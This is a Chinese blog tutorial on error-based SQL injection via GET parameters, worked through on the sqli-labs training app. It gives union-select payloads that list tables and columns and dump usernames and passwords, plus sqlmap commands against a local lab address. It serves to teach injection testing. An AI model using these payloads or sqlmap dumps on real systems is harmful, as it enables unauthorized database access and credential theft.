get基于报错的sql注入

 目录

1.SQL注入的分类

数字型

字符型

2.get基于报错的sql注入发现

3.get基于报错的sql注入利用

1.利用order by 判断字段数。

2.利用union select 联合查询,获取表名。

3.利用union select联合查询,获取字段名。

4.利用union select 联合查询,获取字段值。

4.利用sqlmap测试


1.SQL注入的分类

根据注入为数据类型可将sql注入分为数字型和字符型。

数字型

例如

select *from table where id = 用户输入id

字符型

例如

select * from table where id = '用户输入id
'

2.get基于报错的sql注入发现

通过在url中修改对应的id值,为正常数字、打数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测url中是否存在注入点。

那么我们可以利用sqllilabs的less1到3题来看看 get基于报错的sql注入

然后我们输入5

 输入10

10也有,那我们输入15

 发现15没有,那我们输入14

发现,14有,

测这种有多少的方法很简单,可以按1,5,10,15这样叠加上去,如果遇到没有的,那就与上一个数取半来继续 ,

比如 输入10有,15没有,那就输入13,如果十三有可以试试14。

那么在14后门加个单引号

报错,存在注入点,好吧。

sql语句的话可以是

select login_name,password from admin where id = 'id' limit 0,1

 这个admin的表不一定是存在的,这里只是假设有这个表。

看看第二个

加上单引号一样报错,

sql语句为

select login_name,password from admin where id = id limit 0,1

 可以看出id加不加单引号括起来是看 limit0,1那里的,这就是字符串和数字类型了

看到第三题

发现有俩个单引号还有一个单括号,那么sql语句可以为

select login_name,password from admin where id =('id') limit 0,1

 然后试试

) --+

来闭合、注释,发现过了

 其实不用+号 加上%20也是可以的,也就是空格

3.get基于报错的sql注入利用

1.利用order by 判断字段数。

测试5和4时都报错,显示 Unknown column '4' in 'order clause' 发现3是对的,那么我们可以得出当前内容有三个字段,

2.利用union select 联合查询,获取表名。

0' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

然后

这里改成0,然后显示的是,用的是第二个字段的name,第三个字段的password。

那么我们可以改一下

 

一个显示它的版本,一个显示他的数据库 

那么我们就可以用上面的语句来测试,

3.利用union select联合查询,获取字段名。

0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4.利用union select 联合查询,获取字段值。

0' union select 1, group_concat(username,0x3a,password),3 from users--+

那么这里就获取出来了当前数据库中所有的name和password。

4.利用sqlmap测试

用sqlmap对漏洞进行漏洞探测:

sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' --dbs --batch

可以看到这有七个数据库。然后我们要看看security这个数据库

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security --tables --batch

 

然后看users这个表

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users --columns --batch

 

然后把它们显示出来

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users -C 'username,password' --dump --batch

 

 搞完!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值